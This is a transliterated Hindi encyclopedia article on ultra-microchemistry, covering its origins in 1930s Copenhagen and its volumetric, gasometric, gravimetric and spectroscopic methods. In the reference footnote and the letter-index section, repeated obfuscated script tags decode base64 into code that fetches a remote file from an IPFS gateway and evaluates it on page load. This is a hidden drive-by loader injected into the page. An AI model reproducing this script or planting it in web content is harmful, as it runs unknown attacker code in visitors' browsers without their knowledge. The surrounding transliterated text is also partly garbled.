अतिसूक्ष्म रसायन

atisookshm rasayan (altra-maikrokemistri) un rasayanik vidhiyoan ko kahate haian jinake dvara rasayanik vishleshan tatha any kriyaean padarthoan ki atisookshm matra mean sanpann ki ja sakati haian. sadharan rasayanik vishleshan 1/10 gram matra paryapt mani jati thi, sookshm rasayan mean drav ke 1/1000 gram se kam chal jata hai aur atisookshm rasayan ka avalanban tab karana p data hai jab padarth ka keval maikrogram (1,10,00,000 gram) upalabdh rahata hai.

atisookshm rasayan ka praranbh sanh‌ 1930 mean kopenahegen ko karlsaburg prayogashala mean hua; vahaan ke liandarastr aaum-laiang tatha sahayogiyoan ne isaka upayog enajaimoan, jiv prerakoan aur paudhoan tatha pashuoan se prapt padarthoan ki ati sookshm matra ke vishleshan mean kiya. san 1933 se kailiforniya mean p aaul el. kark ne in vishleshan vidhiyoan ko adhik unnat kiya aur sath hi sath unhoanne any sab prakar ki bhautik tatha rasayanik kriyaoan ka adhyayan bhi atisookshm matraoan mean aranbh kiya. jiv tatha vanaspati rasayan ke atirikt tivr rediyo sakriy padarthoan ke adhyayan mean ye vidhiyaan vishesh roop se upayogi siddh huee haian. in rediyo sakriy padarthoan ke adhyayan mean sadharanataya atisookshm matraoan ka hi upayog kiya jata hai. isaka karan inaki kam matra mean upalabdhi ke atirikt yah bhi hai ki kam matra se nikalane vali hanikarak rediyo kiranoan ki tivrata kam rahati hai, jisase kary sanpann karane mean suvidha rahati hai.

atisookshm rasayan mean mukhyat nimnalikhit vidhiyoan ka upayog kiya jata hai:

(k) dravoan ki anumapan vidhi

atisookshm rasayan mean sarvapratham ayatanoan ke mapan par adharit vidhiyoan ka hi upayog hua. in kriyaoan mean prayukt sabhi upakaran, jaise parikshan naliyaan, bikar, pipet tatha byooret, kesh nalikaoan (kapilaroz) se hi banae jate haian aur inaki sahayata se 10-4 se 18-8 litar tak ke ayatan sugamata se nape ja sakate haian. in vidhiyoan ka sarvapratham upayog jivan rasayan mean hua. udaharanarth, pray rogagrast balakoan ke rakt ke sookshm ayatan ko napane, usamean protin prithakh‌ karake ubalane tatha akarbanik tatvoan ko prithakh‌ karane ki samast paddhatiyoan ko atisookshm pariman mean hi karana hota hai.

(kh) gaisamitiy vidhiyaan

in vidhiyoan ka upayog atisookshm rasayan mean mukhyat jivakoshoan ya sookshm jivoan ki shvasagati ya usase sanbandhit kriyaoan ke adhyayan mean hota hai. kark aur kaniangham ke bad dvitiy mahayuddh ke samay sholeandar tatha usake sahayogiyoan ne is vidhi ko itana unnat kiya ki ab gaisiy mishranoan ke maikrolitar ayatanoan ko bhi poornataya vishleshit karana sanbhav ho gaya hai.

(g) bhar mapan vidhiyaan

yadyapi 20vian shatabdi mean bahut achchhi bhar-tulaoan ka nirman hua hai, tathapi 1942 mean kark, rodarik kreg tatha gulabarg namak vaijnanikoan dvara kvarth‌j tula ki khoj se is or vishesh pragati huee hai. is nee tula ki sahayata se .005 maikro gram ke aantar sugamata se nape ja sakate haian.

(gh) any vividh vidhiyaan

atinyoon matraoan ke sath kary karane ke lie any sabhi kary vidhiyoan mean parivartan avashyak ho jata hai. udaharanarth, chhanane ke sthan par apakeandran (seantriphyoogeshan) vidhi ka upayog kiya jata hai. pray sanpoorn rasayanik kriya sookshmadarshi ke hi niche sampann ki jati hai, jisase sookshm se sookshm parivartan bhi dekha ja sake. in sookshm matraoan ke lie upayogi vishleshan paddhatiyoan mean varnakramiy (spektr aauskopik) paddhatiyaan visheshataya ullekhaniy haian aur adhunik rediyo rasayan ki paddhatiyoan ne to vishleshan ki is charam sima ko sahasroan guna sookshm kar diya hai. aj prayogashala mean sanshleshit navin tatvoan ke kuchh ine-gine paramanuoan ko inake dvara pahachanana hi nahian varanh‌ unake tatha unake yaugikoan ke gunoan ka adhyayan bhi in sookshm matraoan se, chahe kul upalabdh matra lagabhag 10-20 gram hi ho, sanbhav ho raha hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 92 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 92 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]